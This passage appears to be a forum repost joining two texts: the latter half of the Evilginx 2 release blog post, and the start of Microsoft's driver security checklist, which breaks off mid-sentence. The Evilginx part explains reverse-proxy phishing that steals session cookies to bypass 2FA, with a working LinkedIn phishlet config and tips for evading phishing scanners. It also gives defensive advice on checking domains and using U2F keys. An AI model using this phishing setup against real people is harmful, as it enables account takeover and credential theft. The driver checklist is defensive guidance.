it was the victim's browser itself. This is how the trust chain is broken and the victim still sees that green lock icon next to the address bar, in the browser, thinking that everyone is safe. When the victim enters the credentials and is asked to provide a 2FA challenge answer, they are still talking to the real website, with Evilginx relaying the packets back and forth, sitting in the middle. Even while being phished, the victim will still receive the 2FA SMS code to his/her mobile phone, because he/she is talking to the real website (just through a relay). After the 2FA challenge is completed by the victim and the website confirms its validity, website generates the session token, which it returns in form of a cookie. This cookie is intercepted by Evilginx and saved. Evilginx determines that authentication was a success and redirects the victim to any URL it was set up with (online document, video etc.). At this point the attacker holds all the keys to the castle and is able to use the victim's account, fully bypassing 2FA protection, after importing the session token cookies into his web browser. Be aware that: Every sign-in page, requiring the user to provide their password, with any form of 2FA implemented, can be phished using this technique! How to protect yourself? There is one major flaw in this phishing technique that anyone can and should exploit to protect themselves - the attacker must register their own domain. By registering a domain, attacker will try to make it look as similar to real, legitimate domain as possible. For example if the attacker is targeting Facebook (real domain is facebook.com), they can, for example, register a domain faceboook.com or faceb00k.com, maximizing their chances that phished victims won't spot the difference in the browser's address bar. That said - always check the legitimacy of website's base domain, visible in the address bar, if it asks you to provide any private information. By base domain I mean the one that precedes the top-level domain. As an example, imagine this is the URL and the website, you arrived at, asks you to log into Facebook: https://en-gb.facebook.cdn.global.faceboook.com/login.php Language The top-level domain is .com and the base domain would be the preceeding word, with next . as a separator. Combined with TLD, that would be faceboook.com. When you verify that faceboook.com is not the real facebook.com, you will know that someone is trying to phish you. As a side note - Green lock icon seen next to the URL, in the browser's address bar, does not mean that you are safe! Green lock icon only means that the website you've arrived at, encrypts the transmission between you and the server, so that no-one can eavesdrop on your communication. Attackers can easily obtain SSL/TLS certificates for their phishing sites and give you a false sense of security with the ability to display the green lock icon as well. Figuring out if the base domain you see is valid, sometimes may not be easy and leaves room for error. It became even harder with the support of Unicode characters in domain names. This made it possible for attackers to register domains with special characters (e.g. in Cyrillic) that would be lookalikes of their Latin counterparts. This technique recieved a name of a homograph attack. As a quick example, an attacker could register a domain facebooĸ.com, which would look pretty convincing even though it was a completely different domain name (ĸ is not really k). It got even worse with other Cyrillic characters, allowing for ebаy.com vs ebay.com. The first one has an Cyrillic counterpart for a character, which looks exactly the same. Major browsers were fast to address the problem and added special filters to prevent domain names from being displayed in Unicode, when suspicious characters were detected. If you are interested in how it works, check out the IDN spoofing filter source code of the Chrome browser. Now you see that verifying domains visually is not always the best solution, especially for big companies, where it often takes just one employee to get phished and allow attackers to steal vast amounts of data. This is why FIDO Alliance introduced U2F (Universal 2nd Factor Authentication) to allow for unphishable 2nd factor authentication. In short, you have a physical hardware key on which you just press a button when the website asks you to. Additionally it may ask you for account password or a complementary 4 digit PIN. The website talks directly with the hardware key plugged into your USB port, with the web browser as the channel provider for the communication. What is different with this form of authentication, is that U2F protocol is designed to take the website's domain as one of the key components in negotiating the handshake. This means that if the domain in the browser's address bar, does not match the domain used in the data transmission between the website and the U2F device, the communication will simply fail. This solution leaves no room for error and is totally unphishable using Evilginx method. Citing the vendor of U2F devices - Yubico (who co-developed U2F with Google): With the YubiKey, user login is bound to the origin, meaning that only the real site can authenticate with the key. The authentication will fail on the fake site even if the user was fooled into thinking it was real. This greatly mitigates against the increasing volume and sophistication of phishing attacks and stops account takeovers. It is important to note here that Markus Vervier (@marver) and Michele Orrù (@antisnatchor) did demonstrate a technique on how an attacker can attack U2F devices using the newly implemented WebUSB feature in modern browsers (which allows websites to talk with USB connected devices). It is also important to mention that Yubico, the creator of popular U2F devices YubiKeys, tried to steal credit for their research, which they later apologized for. You can find the list of all websites supporting U2F authentication here. Coinciding with the release of Evilginx 2, WebAuthn is coming out in all major web browsers. It will introduce the new FIDO2 password-less authentication standard to every browser. Chrome, Firefox and Edge are about to receive full support for it. To wrap up - if you often need to log into various services, make your life easier and get a U2F device! This will greatly improve your accounts' security. Under the hood Interception of HTTP packets is possible since Evilginx acts as an HTTP server talking to the victim's browser and, at the same time, acts as an HTTP client for the website where the data is being relayed to. To make it possible, the victim has to be contacting Evilginx server through a custom phishing URL that will point to Evilginx server. Simply forwarding packets from victim to destination website would not work well and that's why Evilginx has to do some on-the-fly modifications. In order for the phishing experience to be seamless, the proxy overcomes the following obstacles: 1. Making sure that the victim is not redirected to phished website's true domain. Since the phishing domain will differ from the legitimate domain, used by phished website, relayed scripts and HTML data have to be carefully modified to prevent unwanted redirection of victim's web browser. There will be HTML submit forms pointing to legitimate URLs, scripts making AJAX requests or JSON objects containing URLs. Ideally the most reliable way to solve it would be to perform regular expression string substitution for any occurrence of https://legit-site.com and replacing it with https://our-phishing-site.com. Unfortunately this is not always the case and it requires some trial and error kung-fu, working with web inspector to track down all strings the proxy needs to replace to not break website's functionality. If target website uses multiple options for 2FA, each route has to be inspected and analyzed. For example, there are JSON objects transporting escaped URLs like https:\/\/legit-site.com. You can see that this will definitely not trigger the regexp mentioned above. If you replaced all occurrences of legit-site.com you may break something by accident. 2. Responding to DNS requests for multiple subdomains. Websites will often make requests to multiple subdomains under their official domain or even use a totally different domain. In order to proxy these transmissions, Evilginx has to map each of the custom subdomains to its own IP address. Previous version of Evilginx required the user to set up their own DNS server (e.g. bind) and set up DNS zones to properly handle DNS A requests. This generated a lot of headache on the user part and was only easier if the hosting provider (like Digital Ocean) provided an easy-to-use admin panel for setting up DNS zones. With Evilginx 2 this issue is gone. Evilginx now runs its own in-built DNS server, listening on port 53, which acts as a nameserver for your domain. All you need to do is set up the nameserver addresses for your domain (ns1.yourdomain.com and ns2.yourdomain.com) to point to your Evilginx server IP, in the admin panel of your domain hosting provider. Evilginx will handle the rest on its own. 3. Modification of various HTTP headers. Evilginx modifies HTTP headers sent to and received from the destination website. In particular the Origin header, in AJAX requests, will always hold the URL of the requesting site in order to comply with CORS. Phishing sites will hold a phishing URL as an origin. When request is forwarded, the destination website will receive an invalid origin and will not respond to such request. Not replacing the phishing hostname with the legitimate one in the request would make it also easy for the website to notice suspicious behavior. Evilginx automatically changes Origin and Referer fields on-the-fly to their legitimate counterparts. Same way, to avoid any conflicts with CORS from the other side, Evilginx makes sure to set the Access-Control-Allow-Origin header value to * (if it exists in the response) and removes any occurrences of Content-Security-Policy headers. This guarantees that no request will be restricted by the browser when AJAX requests are made. Other header to modify is Location, which is set in HTTP 302 and 301 responses to redirect the browser to different location. Naturally the value will come with legitimate website URL and Evilginx makes sure this location is properly switched to corresponding phishing hostname. 4. Cookies filtering. It is common for websites to manage cookies for various purposes. Each cookie is assigned to a specific domain. Web browser's task is to automatically send the stored cookie, with every request to the domain, the cookie was assigned to. Cookies are also sent as HTTP headers, but I decided to make a separate mention of them here, due to their importance. Example cookie sent from the website to client's web browser would look like this: Set-Cookie: qwerty=219ffwef9w0f; Domain=legit-site.com; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT HTTP As you can see the cookie will be set in client's web browser for legit-site.com domain. Since the phishing victim is only talking to the phishing website with domain our-phishing-site.com, such cookie will never be saved in the browser, because of the fact the cookie domain differs from the one the browser is communicating with. Evilginx will parse every occurrence of Set-Cookie in HTTP response headers and modify the domain, replacing it with the phishing one, as follows: Set-Cookie: qwerty=219ffwef9w0f; Domain=our-phishing-site.com; Path=/; HTTP Evilginx will also remove expiration date from cookies, if the expiration date does not indicate that the cookie should be deleted from browser's cache. Evilginx also sends its own cookies to manage the victim's session. These cookies are filtered out from every HTTP request, to prevent them from being sent to the destination website. 5. SSL splitting. As the whole world of world-wide-web migrates to serving pages over secure HTTPS connections, phishing pages can't be any worse. Whenever you pick a hostname for your phishing page (e.g. totally.not.fake.linkedin.our-phishing-domain.com), Evilginx will automatically obtain a valid SSL/TLS certificate from LetsEncrypt and provide responses to ACME challenges, using the in-built HTTP server. This makes sure that victims will always see a green lock icon next to the URL address bar, when visiting the phishing page, comforting them that everything is secured using "military-grade" encryption! 6. Anti-phishing tricks There are rare cases where websites would employ defenses against being proxied. One of such defenses I uncovered during testing is using javascript to check if window.location contains the legitimate domain. These detections may be easy or hard to spot and much harder to remove, if additional code obfuscation is involved. Improvements The greatest advantage of Evilginx 2 is that it is now a standalone console application. There is no need to compile and install custom version of nginx, which I admit was not a simple feat. I am sure that using nginx site configs to utilize proxy_pass feature for phishing purposes was not what HTTP server's developers had in mind, when developing the software. Evilginx 1 was pretty much a combination of several dirty hacks, duct taped together. Nonetheless it somehow worked! Additionally to fully responsive console UI, here are the greatest improvements: Tokenized phishing URLs In previous version of Evilginx, entering just the hostname of your phishing URL address in the browser, with root path (e.g. https://totally.not.fake.linkedin.our-phishing-domain.com/), would still proxy the connection to the legitimate website. This turned out to be an issue, as I found out during development of Evilginx 2. Apparently once you obtain SSL/TLS certificates for the domain/hostname of your choice, external scanners start scanning your domain. Scanners gonna scan. The scanners use public certificate transparency logs to scan, in real-time, all domains which have obtained valid SSL/TLS certifcates. With public libraries like CertStream, you can easily create your own scanner. For some phishing pages, it took usually one hour for the hostname to become banned and blacklisted by popular anti-spam filters like Spamhaus. After I had three hostnames blacklisted for one domain, the whole domain got blocked. Three strikes and you're out! I began thinking how such detection can be evaded. Easiest solution was to reply with faked response to every request for path /, but that would not work if scanners probed for any other path. Then I decided that each phishing URL, generated by Evilginx, should come with a unique token in the URL as a GET parameter. For example, Evilginx responds with redirection response when scanner makes a request to URL: https://totally.not.fake.linkedin.our-phishing-domain.com/auth/signin Language But it responds with proxied phishing page, instead, when the URL is properly tokenized, with a valid token: https://totally.not.fake.linkedin.our-phishing-domain.com/auth/signin?tk=secret_l33t_token Language When tokenized URL is opened, Evilginx sets a validation cookie in victim's browser, whitelisting all subsequent requests, even for the non-tokenized ones. This works very well, but there is still risk that scanners will eventually scan tokenized phishing URLs when these get out into the interwebz. Hiding your phishlets This thought provoked me to find a solution that allows manual control over when the phishing proxy should respond with proxied website and when it should not. As a result, you can hide and unhide the phishign page whenever you want. Hidden phishing page will respond with a redirection 302 HTTP code, redirecting the requester to predefined URL (Rick Astley's famous clip on Youtube is the default). Temporarily hiding your phishlet may be useful when you want to use a URL shortener, to shorten your phishing URL (like goo.gl or bit.ly) or when you are sending the phishing URL via email and you don't want to trigger any email scanners, on the way. Phishlets Phishlets are new site configs. They are plain-text ruleset files, in YAML format, which are fed into the Evilginx engine. Phishlets define which subdomains are needed to properly proxy a specific website, what strings should be replaced in relayed packets and which cookies should be captured, to properly take over the victim's account. There is one phishlet for each phished website. You can deploy as many phishlets as you want, with each phishlet set up for a different website. Phishlets can be enabled and disabled as you please and at any point Evilginx can be running and managing any number of them. I will do a better job than I did last time, when I released Evilginx 1, and I will try to explain the structure of a phishlet and give you brief insight into how phishlets are created (I promise to release a separate blog post about it later!). I will dissect the LinkedIn phishlet for the purpose of this short guide: name: 'linkedin' author: '@mrgretzky' min_ver: '2.0.0' proxy_hosts: - { phish_sub: 'www', orig_sub: 'www', domain: 'linkedin.com', session: true, is_landing: true } sub_filters: - { hostname: 'www.linkedin.com', sub: 'www', domain: 'linkedin.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json'] } - { hostname: 'www.linkedin.com', sub: 'www', domain: 'linkedin.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json'] } - { hostname: 'www.linkedin.com', sub: 'www', domain: 'linkedin.com', search: '//{hostname}/nhome/', replace: '//{hostname}/nhome/', mimes: ['text/html', 'application/json'] } auth_tokens: - domain: 'www.linkedin.com' keys: ['li_at'] user_regex: key: 'session_key' re: '(.*)' pass_regex: key: 'session_password' re: '(.*)' landing_path: - '/uas/login' YAML First things first. I advise you to get familiar with YAML syntax to avoid any errors when editing or creating your own phishlets. Starting off with simple and rather self-explanatory variables. name is the name of the phishlet, which would usually be the name of the phished website. author is where you can do some self promotion - this will be visible in Evilginx's UI when the phishlet is loaded. version is currently not supported, but will be very likely used when phishlet format changes in future releases of Evilginx, to provide some way of checking phishlet's compatibility with current tool's version. Following that, we have proxy_hosts. This array holds an array of sub-domains that Evilginx will manage. This provides an array of all hostnames for which you want to intercept the transmission and gives you the capability to make on-the-fly packet modifications. phish_sub : subdomain name that will be prefixed in the phishlet's hostname. I advise to leave it the same as the original subdomain name, due to issues that may arise later when doing string replacements properly, as it often requires additional work to support custom subdomain names. orig_sub : the original subdomain name as used on the legitimate website. domain : website's domain that we are targeting. session : set this to true ONLY for subdomains that will return authentication cookies. This indicates which subdomain Evilginx should recognize as the one that will initiate the creation of Evilginx session and sets Evilginx session cookie for the domain name of this entry. is_landing : set this to true if you want this subdomain to be used in generation of phishing URLs later. In the LinkedIn example, we only have one subdomain that we need to support, which is www. The phishing hostname for this subdomain will then be: www.totally.not.fake.linkedin.our-phishing-domain.com. Next are sub_filters, which tell Evilginx all about string substitution magics. hostname : original hostname of the website, for which the substitution will take place. sub : subdomain name from the original hostname. This is will be only used as a helper string in substitutions that I will explain below. domain : domain name of the original hostname. Same as sub - used as a helper string in substitutions. search : the regular expression of what to search for in HTTP packet's body. You can use some variables in {...} that Evilginx will prefill for you. I listed all supported variables below. replace : the string that will act as a replacement for all occurrences of search regular expression matches. {...} variables are also supported here. mimes : an array of MIME types that will only be considered before doing search and replace. Any of these defined MIME types must show up in Content-Type header of the HTTP response, before Evilginx considers to do any substitutions, for that packet. Most common MIME types to use here are: text/html, application/json, application/javascript or text/javascript. redirect_only : use this sub_filter only if redirection URL is set in generated phishing URL (true or false). The following is a list of bracket variables that you can use in search and replace parameters: {hostname} : a combination of subdomain, defined by sub parameter, and a domain, defined by domain parameter. In search field it will be translated to the original website's hostname (e.g. www.linkedin.com). In the replace field, it will be translated to corresponding phishing hostname of matching proxy_hosts entry (e.g. www.totally.not.fake.linkedin.our-phishing-domain.com). {subdomain} : same as {hostname} but only for the subdomain. {domain} : same as {hostname} but only for the domain. {domain_regexp} : same as {domain} but translates to properly escaped regular expression string. This can sometimes be useful when replacing anti-phishing protections in javascript, that try to verify if window.location contains the legitimate domain. {hostname_regexp} : same as above, but for the hostname. {subdomain_regexp} : same as above, but for the subdomain. In the example we have: - { hostname: 'www.linkedin.com', sub: 'www', domain: 'linkedin.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json'] } YAML This will make Evilginx search for packets with Content-Type of text/html or application/json and look for occurrences of action="https://www\.linkedin\.com (properly escaped regexp). If found, it will replace every occurrence with action="https://www.totally.not.fake.linkedin.our-phishing-domain.com. As you can see this will replace the action URL of the login HTML form to have it point to Evilginx server, so that the victim does not stray off the phishing path. That was the most complicated part. Now it should be pretty straight forward. Next up are auth_tokens. This is where you define the cookies that should be captured on successful login, which combined together provide the full state of the website's captured session. The cookies defined here, when obtained, can later be imported to any browser (using this extension in Chrome) and allow to be immediately logged into the victim's account, bypassing any 2FA challenges. domain : original domain for which the cookies will be saved for. keys : array of cookie names that should be captured. In the example, there is only one cookie that LinkedIn uses to verify the session's state. Only li_at cookie, saved for www.linkedin.com domain will be captured and stored. Once Evilginx captures all of the defined cookies, it will display a message that authentication was successful and will store them in the database. The two following parameters are similar user_regex and pass_regex. These define the POST request keys that should be searched for occurrences of usernames and passwords. Searching is defined by a regular expression that is ran against the contents of the POST request's key value. key : name of the POST request key. re : regular expression defining what data should be captured from the key's value (e.g. (.*) will capture the whole value) Last parameter is landing_path array, which holds URL paths to login pages (usually one), of the phished website. In our example, there is /uas/login which would translate to https://www.totally.not.fake.linkedin.our-phishing-domain.com/uas/login for the generated phishing URL. Hope that sheds some light on how you can create your own phishlets and should help you understand the ones that are already shipped with Evilginx in the ./phishlets directory. Future development I'd like to continue working on Evilginx 2 and there are some things I have in mind that I want to eventually implement. One of such things is serving an HTML page instead of 302 redirect for hidden phishlets. This could be a page imitating CloudFlare's "checking your browser" that would wait in a loop and redirect, to the phishing page, as soon as you unhide your phishlet. Another thing to have at some point is to have Evilginx launch as a daemon, without the UI. Business Inquiries If you are a red teaming company interested in development of custom phishing solutions, drop me a line and I will be happy to assist in any way I can. If you are giving presentations on flaws of 2FA and/or promoting the use of FIDO U2F/FIDO2 devices, I'd love to hear how Evilginx can help you raise awareness. In any case, send me an email at: kuba@breakdev.org I'll respond as soon as I can! Credits Since the release of Evilginx 1, in April last year, a lot has changed in my life for the better. I met a lot of wonderful, talented people, in front of whom I could exercise my impostor syndrome! I'd like to thank few people without whom this release would not have been possible: @evilsocket - for letting me know that Evilginx is awesome, inspiring me to learn GO and for developing so many incredible products that I could steal borrow code from! @antisnatchor and @h0wlu - for organizing WarCon and for inviting me! @juliocesarfort and @Mario_Vilas - for organizing AlligatorCon and for being great reptiles! @x33fcon - for organizing x33fcon and letting me do all these lightning talks! Vincent Yiu (@vysecurity) - for all the red tips and invitations to secret security gatherings! Kevin Mitnick (@kevinmitnick) - for giving Evilginx a try and making me realize its importance! @i_bo0om - for giving me an idea to play with nginx's proxy_pass feature in his post. Cristofaro Mune (@pulsoid) & Denis Laskov (@it4sec) - for spending their precious time to hear out my concerns about releasing such tool to the public. Giuseppe "Ohpe" Trotta (@Giutro) - for a heads up that there may be other similar tools lurking around in the darkness #apt - everyone I met there, for sharing amazing contributions. Thank you! That's it! Thanks for being able to read this overly long post! Enjoy the tool and I'm waiting for your feedback! >> Follow me on Twitter << >> Download Evilginx 2 from GitHub << Kuba Gretzky I am a reverse engineer, security researcher and software developer. I develop offensive tools for red teams and look for software vulnerabilities in free time. Evilginx is my baby. Sursa: https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens/
-
- 1
-
-
Driver security checklist 01/26/2018 29 minutes to read Contributors This article provides a driver security checklist for driver developers to help reduce the risk of drivers being compromised. Driver security overview A security flaw is any flaw that allows an attacker to cause a driver to malfunction in such a way that it causes the system to crash or become unusable. In addition, vulnerabilities in driver code can allow an attacker to gain access to the kernel, creating a possibility of compromising the entire OS. When most developers are working on their driver, their focus is on getting the driver to work properly, and not on whether a malicious attacker will attempt to exploit vulnerabilities within their code. After a driver is released, however, attackers can attempt to probe and identify security flaws. Developers must consider these issues during the design and implementation phase in order to minimize the likelihood of such vulnerabilities. The goal is to eliminate all known security flaws before the driver is released. Creating more secure drivers requires the cooperation of the system architect (consciously thinking of potential threats to the driver), the developer implementing the code (defensively coding common operations that can be the source of exploits), and the test team (proactively attempting to find weakness and vulnerabilities). By properly coordinating all of these activities, the security of the driver is dramatically enhanced. In addition to avoiding the issues associated with a driver being attacked, many of the steps described, such as more precise use of kernel memory, will increase the reliability of your driver. This will reduce support costs and increase customer satisfaction with your product. Completing the tasks in the checklist below will help to achieve all these goals. Security checklist: Complete the security task described in each of these topics. Confirm that a kernel driver is required Use the driver frameworks Control access to software only drivers Do not production sign test driver code Perform threat analysis Follow driver secure coding guidelines Validate Device Guard compatibility Follow technology specific code best practices Perform peer code review Manage driver access control Enhance device installation security Execute proper release driver signing Use code analysis in Visual Studio to investigate driver security Use Static Driver Verifier to Check for Vulnerabilities Check code with Binscope Binary Analyzer Use code validation tools Review debugger techniques and extensions Review secure coding resources Summary of key takeaways Confirm that a kernel driver is required Security checklist item #1: Confirm that a kernel driver is required and that a lower risk approach, such as Windows service or app, is not a better option. Drivers live in the Windows kernel, and having an issue when executing in kernel exposes the entire operating system. If any other option is available, it likely will be lower cost and have less associated risk than creating a new kernel driver. For more information about using the built in Windows drivers, see Do you need to write a driver?. For information on using background tasks, see Support your app with background tasks. For information on using Windows Services, see Services. Use the driver frameworks Security checklist item #2: Use the driver frameworks to reduce the size of your code and increase it's reliability and security. Use the Windows Driver Frameworks to reduce the size of your code and increase it's reliability and security. To get started, review Using WDF to Develop a Driver. For information on using the lower risk user mode framework driver (UMDF), see Choosing a driver model. Writing an old fashion Windows Driver Model (WDM) driver is more time consuming, costly, and almost always involves recreating code that is available in the driver frameworks. The Windows Driver Framework source code is open source and available on GitHub. This is the same source code from which the WDF runtime library that ships in Windows 10 is built. You can debug your driver more effectively when you can follow the interactions between the driver and WDF. Download it from http://github.com/Microsoft/Windows-Driver-Frameworks. Control access to software only drivers Security checklist item #3: If a software-only driver is going to be created, additional access control must be implemented. Software-only kernel drivers do not use plug-and-play (PnP) to become associated with specific hardware IDs, and can run on any PC. Such a driver could be used for purposes other than the one originally intended, creating an attack vector. Because software-only kernel drivers contain additional risk, they must be limited to run on specific hardware (for example, by using a unique PnP ID to enable creation of a PnP driver, or by checking the SMBIOS table for the presence of specific hardware). For example, imagine OEM Fabrikam wants to distribute a driver that enables an overclocking utility for their systems. If this software-only driver were to execute on a system from a different OEM, system instability or damage might result. Fabrikam’s systems should include a unique PnP ID to enable creation of a PnP driver that is also updatable through Windows Update. If this is not possible, and Fabrikam authors a Legacy driver, that driver should find another method to verify that it is executing on a Fabrikam system (for example, by examination of the SMBIOS table prior to enabling any capabilities). Do not production sign test code Security checklist item #4: Do not production code sign development, testing, and manufacturing kernel driver code. Kernel driver code that is used for development, testing, or manufacturing might include dangerous capabilities that pose a security risk. This dangerous code should never be signed with a certificate that is trusted by Windows. The correct mechanism for executing dangerous driver code is to disable UEFI Secure Boot, enable the BCD “TESTSIGNING”, and sign the development, test, and manufacturing code using an untrusted certificate (for example, one generated by makecert.exe). Code signed by a trusted Software Publishers Certificate (SPC) or Windows Hardware Quality Labs (WHQL) signature must not facilitate bypass of Windows code integrity and security technologies. Before code is signed by a trusted SPC or WHQL signature, first ensure it complies with guidance from both Device.DevFund.Reliability.BasicSecurity and Creating Reliable Kernel-Mode Drivers. In addition the code must not contain any dangerous behaviors, described below. For more information about driver signing, see Release driver signing later in this article. Examples of dangerous behavior include the following: Providing the ability to map arbitrary kernel, physical, or device memory to user mode. Providing the ability to read or write arbitrary kernel, physical or device memory, including Port input/output (I/O). Providing access to storage that bypasses Windows access control. Providing the ability to modify hardware or firmware that the driver was not designed to manage. Perform threat analysis Security checklist item #5: Either modify an existing driver threat model or create a custom threat model for your driver. In considering security, a common methodology is to create specific threat models that attempt to describe the types of attacks that are possible. This technique is useful when designing a driver because it forces the developer to consider the potential attack vectors against a driver in advance. Having identified potential threats, a driver developer can then consider means of defending against these threats in order to bolster the overall security of the driver component. This article provides driver specific guidance for creating a lightweight threat model: Threat modeling for drivers. The article provides an example driver threat model diagram that can be used as a starting point for your driver. Security Development Lifecycle (SDL) best practices and associated tools can be used by IHVs and OEMs to improve the security of their products. For more information see SDL recommendations for OEMs. Follow driver secure coding guidelines Security checklist item #6: Review your code and remove any known code vulnerabilities. The core activity of creating secure drivers is identifying areas in the code that need to be changed to avoid known software vulnerabilities. Many of these known software vulnerabilities deal with keeping strict track of the use of memory to avoid issues with others overwriting or otherwise comprising the memory locations that your driver uses. The Code Validation Tools section of this article describes software tools that can be used to help locate known software vulnerabilities. Memory buffers Always check the sizes of the input and output buffers to ensure that the buffers can hold all the requested data. For more information, see Failure to Check the Size of Buffers. Properly initialize all output buffers with zeros before returning them to the caller. For more information, see Failure to Initialize Output Buffers. Validate variable-length buffers. For more information, see Failure to Validate Variable-Length Buffers. For more information about working with buffers and using ProbeForRead and ProbeForWrite to validate the address of a buffer, see Buffer Handling. Use the appropriate method for accessing data buffers with IOCTLs One of the primary responsibilities of a Windows driver is transferring data between user-mode applications and a system's devices. The three methods for accessing data buffers are shown in the following table. IOCTL Buffer Type Summary For more information METHOD_BUFFERED Recommended for most situtations Using Buffered I/O METHOD_IN_DIRECT or METHOD_OUT_DIRECT Used in some high speed HW I/O Using Direct I/O METHOD_NEITHER Avoid if possible Using Neither Buffered Nor Direct I/O In general buffered I/O is recommended as it provides the most secure buffering methods. But even when using buffered I/O there are risks, such as embedded pointers that must be mitigated. For more information about working with buffers in IOCTLs, see Methods for Accessing Data Buffers. Errors in use of IOCTL buffered I/O Check the size of IOCTL related buffers. For more information, see Failure to Check the Size of Buffers. Properly initialize output buffers. For more information, see Failure to Initialize Output Buffers. Properly validate variable-length buffers. For more information, see Failure to Validate Variable-Length Buffers. When using buffered I/O, be sure and return the proper length for the OutputBuffer in the IO_STATUS_BLOCK structure Information field. Don't just directly return the length directly from a READ request. For example, consider a situation where the returned data from the user space indicates that there is a 4K buffer. If the driver actually should only return 200 bytes, but instead just returns 4K in the Information field an information disclosure vulnerability has occurred. This problem occurs because in earlier versions of Windows, the buffer the I/O Manager uses for Buffered I/O is not zeroed. Thus, the user app gets back the original 200 bytes of data plus 4K-200 bytes of whatever was in the buffer (non-paged pool contents). This scenario can occur with all uses of Buffered I/O and not just with IOCTLs. Errors in IOCTL direct I/O Handle zero-length buffers correctly. For more information, see Errors in Direct I/O. Errors in referencing user-space addresses Validate pointers embedded in buffered I/O requests. For more information, see Errors in Referencing User-Space Addresses. Validate any address in the user space before trying to use it, using APIs such as ProbeForRead and ProbeForWrite when appropriate. TOCTOU vulnerabilities There is a potential time of check to time of use (TOCTOU) vulnerability when using direct I/O (for IOCTLs or for Read/Write). Be aware that the driver is accessing the user data buffer, the user can simultaneously be accessing it. To manage this risk, copy any parameters that need to be validated from the user data buffer to memory that is solely accessibly from kernel mode (such as the stack or pool). Then once the data can not be accessed by the user application, validate and then operate on the data that was passed-in. Driver code must make correct use of memory All driver pool allocations must be in non-executable (NX) pool. Using NX memory pools is inherently more secure than using executable non-paged (NP) pools, and provides better protection against overflow attacks. For more information about the related device fundamentals test, see Device.DevFund.Memory.NXPool. Device drivers must properly handle various user-mode, as well as kernel to kernel I/O, requests. For more information about the related device fundamentals test, see Device.DevFund.Reliability.BasicSecurity. To allow drivers to support HVCI virtualization, there are additional memory requirements. For more information, see Device Guard Compatibility later in this article. Handles Validate handles passed between user-mode and kernel-mode memory. For more information, see Handle Management and Failure to Validate Object Handles. Device objects Secure device objects. For more information, see Securing Device Objects. Validate device objects. For more information, see Failure to Validate Device Objects. IRPs WDF and IRPs One advantage of using WDF, is that WDF drivers typically do not directly access IRPs. For example, the framework converts the WDM IRPs that represent read, write, and device I/O control operations to framework request objects that KMDF/UMDF receive in I/O queues. If you are writing a WDM driver, review the following guidance. Properly manage IRP I/O buffers The following articles provide information about validating IRP input values: DispatchReadWrite Using Buffered I/O Errors in Buffered I/O DispatchReadWrite Using Direct I/O Errors in Direct I/O Security Issues for I/O Control Codes Consider validating values that are associated with an IRP, such as buffer addresses and lengths. If you chose to use Neither I/O, be aware that unlike Read and Write, and unlike Buffered I/O and Direct I/O, that when using Neither I/O IOCTL the buffer pointers and lengths are not validated by the I/O Manager. Handle IRP completion operations properly A driver must never complete an IRP with a status value of STATUS_SUCCESS unless it actually supports and processes the IRP. For information about the correct ways to handle IRP completion operations, see Completing IRPs. Manage driver IRP pending state The driver should mark the IRP pending before it saves the IRP, and should consider including both the call to IoMarkIrpPending and the assignment in an interlocked sequence. For more information, see Failure to Check a Driver's State and Holding Incoming IRPs When A Device Is Paused. Handle IRP cancellation operations properly Cancel operations can be difficult to code properly because they typically execute asynchronously. Problems in the code that handles cancel operations can go unnoticed for a long time, because this code is typically not executed frequently in a running system. Be sure to read and understand all of the information supplied under Canceling IRPs. Pay special attention to Synchronizing IRP Cancellation and Points to Consider When Canceling IRPs. One recommended way to minimize the synchronization problems that are associated with cancel operations is to implement a cancel-safe IRP queue. Handle IRP cleanup and close operations properly Be sure that you understand the difference between IRP_MJ_CLEANUP and IRP_MJ_CLOSE requests. Cleanup requests arrive after an application closes all handles on a file object, but sometimes before all I/O requests have completed. Close requests arrive after all I/O requests for the file object have been completed or canceled. For more information, see the following articles: DispatchCreate, DispatchClose, and DispatchCreateClose Routines DispatchCleanup Routines Errors in Handling Cleanup and Close Operations For more information about handling IRPs correctly, see Additional Errors in Handling IRPs. Other security issues Use a lock or an interlocked sequence to prevent race conditions. For more information, see Errors in a Multiprocessor Environment. Ensure that device drivers properly handle various user-mode as well as kernel to kernel I/O requests. For more information, see Device.DevFund.Reliability.BasicSecurity. Ensure that no TDI filters or LSPs are installed by the driver or associated software packages during installation or usage. For more information about the related driver fundamentals test, see Device.DevFund.Security. Use safe functions Use safe string functions. For more information, see Using Safe String Functions. Use safe arithmetic functions. For more information, see Arithmetic Functions in Safe Integer Library Routines Use safe conversion functions. For more information, see Conversion Functions in Safe Integer Library Routines Additional code vulnerabilities In addition to the possible vulnerabilities covered here, this article provides additional information about enhancing the security of kernel mode driver code: Creating Reliable Kernel-Mode Drivers. For additional information about C and C++ secure coding, see Secure coding resources at the end of this article. Manage driver access control Security checklist item #7: Review your driver to make sure that you are properly controlling access. Managing driver access control - WDF Drivers must work to prevent users from inappropriately accessing a computer's devices and files. To prevent unauthorized access to devices and files, you must: Name device objects only when necessary. Named device objects are generally only necessary for legacy reasons, for example if you have an application that expects to open the device using a particular name or if you’re using a non-PNP device/control device. Note that WDF drivers do not need to name their PnP device FDO in order to create a symbolic link using WdfDeviceCreateSymbolicLink. Secure access to device objects and interfaces. In order to allow applications or other WDF drivers to access your PnP device PDO, you should use device interfaces. For more information, see Using Device Interfaces. A device interface serves as a symbolic link to your device stack’s PDO. One of the betters way to control access to the PDO is by specifying an SDDL string in your INF. If the SDDL string is not in the INF file, Windows will apply a default security descriptor. For more information, see Securing Device Objects and SDDL for Device Objects. For more information about controlling access, see the following articles: Controlling Device Access in KMDF Drivers Names, Security Descriptors and Device Classes - Making Device Objects Accessible… and SAFE from the January February 2017 The NT Insider Newsletter published by OSR. Managing driver access control - WDM If you are working with a WDM Driver and you used a named device object you can use IoCreateDeviceSecure and specify a SDDL to secure it. When you implement IoCreateDeviceSecure always specify a custom class GUID for DeviceClassGuid. You should not specify an existing class GUID here. Doing so has the potential to break security settings or compatibility for other devices belonging to that class. For more information, see WdmlibIoCreateDeviceSecure. For more information, see the following articles: Controlling Device Access Controlling Device Namespace Access Windows security model for driver developers Security Identifiers (SIDs) risk hierarchy The following section describes the risk hierarchy of the common SIDs used in driver code. For general information about SDDL, see SDDL for Device Objects, SID Strings, and SDDL String Syntax. It is important to understand that if lower privilege callers are allowed to access the kernel, code risk is 